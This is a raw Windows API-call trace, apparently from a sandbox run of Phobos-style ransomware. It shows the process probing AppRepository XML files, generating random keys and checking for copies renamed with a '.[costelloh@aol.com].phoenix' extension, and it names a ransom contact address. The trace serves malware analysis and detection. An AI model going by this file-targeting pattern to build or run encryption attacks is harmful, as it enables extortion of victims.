	[0229.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.779] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=7955) returned 1
	[0229.780] CloseHandle (hObject=0x2f0) returned 1
	[0229.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml")) returned 0x20
	[0229.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.783] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.783] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.783] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.783] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3049) returned 1
	[0229.783] CloseHandle (hObject=0x2f0) returned 1
	[0229.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0229.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.784] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.784] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.784] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.784] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4705) returned 1
	[0229.784] CloseHandle (hObject=0x2f0) returned 1
	[0229.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.784] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.784] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.784] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.785] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=6731) returned 1
	[0229.785] CloseHandle (hObject=0x2f0) returned 1
	[0229.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.785] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.785] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.785] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.785] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2220) returned 1
	[0229.785] CloseHandle (hObject=0x2f0) returned 1
	[0229.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0229.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.785] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.786] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.786] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.786] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2675) returned 1
	[0229.786] CloseHandle (hObject=0x2f0) returned 1
	[0229.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0229.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.786] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.786] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.786] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.786] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2452) returned 1
	[0229.786] CloseHandle (hObject=0x2f0) returned 1
	[0229.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.787] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\EnvironmentsApp_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\environmentsapp_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.787] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.787] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.787] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=9283) returned 1
	[0229.787] CloseHandle (hObject=0x2f0) returned 1
	[0229.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.787] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloCamera_1.0.0.5_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holocamera_1.0.0.5_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.788] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.788] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4740) returned 1
	[0229.788] CloseHandle (hObject=0x2f0) returned 1
	[0229.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloItemPlayerApp_1.0.0.2_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoitemplayerapp_1.0.0.2_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.788] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.788] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.789] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=26605) returned 1
	[0229.789] CloseHandle (hObject=0x2f0) returned 1
	[0229.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml")) returned 0x20
	[0229.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.789] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\HoloShell_10.0.15063.0_neutral__cw5n1h2txyewy.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\holoshell_10.0.15063.0_neutral__cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.789] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.789] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.789] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16369) returned 1
	[0229.789] CloseHandle (hObject=0x2f0) returned 1
	[0229.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_10.9.50.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.790] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.790] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=837) returned 1
	[0229.790] CloseHandle (hObject=0x2f0) returned 1
	[0229.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-140_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.790] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0229.790] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0229.791] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=837) returned 1
	[0229.791] CloseHandle (hObject=0x2f0) returned 1
	[0229.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.791] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.3DBuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.3dbuilder_13.0.10349.0_neutral_split.scale-180_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.791] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
